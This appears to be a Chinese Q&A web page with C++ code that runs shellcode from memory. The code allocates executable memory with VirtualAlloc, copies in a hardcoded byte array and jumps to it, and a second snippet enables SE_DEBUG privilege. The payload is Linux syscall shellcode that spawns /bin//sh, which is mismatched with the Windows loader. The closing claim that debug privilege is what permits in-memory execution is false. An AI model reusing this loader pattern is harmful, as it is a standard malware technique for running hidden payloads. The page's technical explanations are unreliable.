内存运行shellcode c++
内存运行shellcode的C++代码如下:
#include <iostream>
#include <windows.h>
using namespace std;
int main()
{
// 定义shellcode
unsigned char shellcode[] = "\x48\x31\xc0\x48\x83\xc0\x29\x48\x31\xff\x48\x83\xc7\x01\x48\x8d\x54\x24\xfc\x48\x31\xf6\x0f\x05\x48\x31\xc0\x48\x83\xc0\x01\x48\x31\xff\x0f\x05\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe6\x48\x31\xd2\x48\x83\xc2\x3b\x0f\x05";
// 申请一块可执行内存
LPVOID exec_mem = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到可执行内存中
memcpy(exec_mem, shellcode, sizeof(shellcode));
// 执行shellcode
((void(*)())exec_mem)();
// 释放内存
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
这个代码首先定义了一个包含shellcode的unsigned char数组,在main函数中申请一块可执行内存,然后将shellcode复制到可执行内存中,并且执行shellcode。最后,释放内存。
在执行shellcode之前,需要保证系统允许在内存中执行代码,可以通过以下方法实现:
-
使用管理员权限运行程序。
-
在程序开头加入以下代码:
#define WINVER 0x0500 #include <windows.h> int main() { // 提升权限 HANDLE hToken; TOKEN_PRIVILEGES tkp; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL); CloseHandle(hToken); // ... }这段代码会提升程序的权限,使其拥有SE_DEBUG_NAME权限,从而允许在内存中执行代码。
原文地址: https://www.cveoy.top/t/topic/NsJ 著作权归作者所有。请勿转载和采集!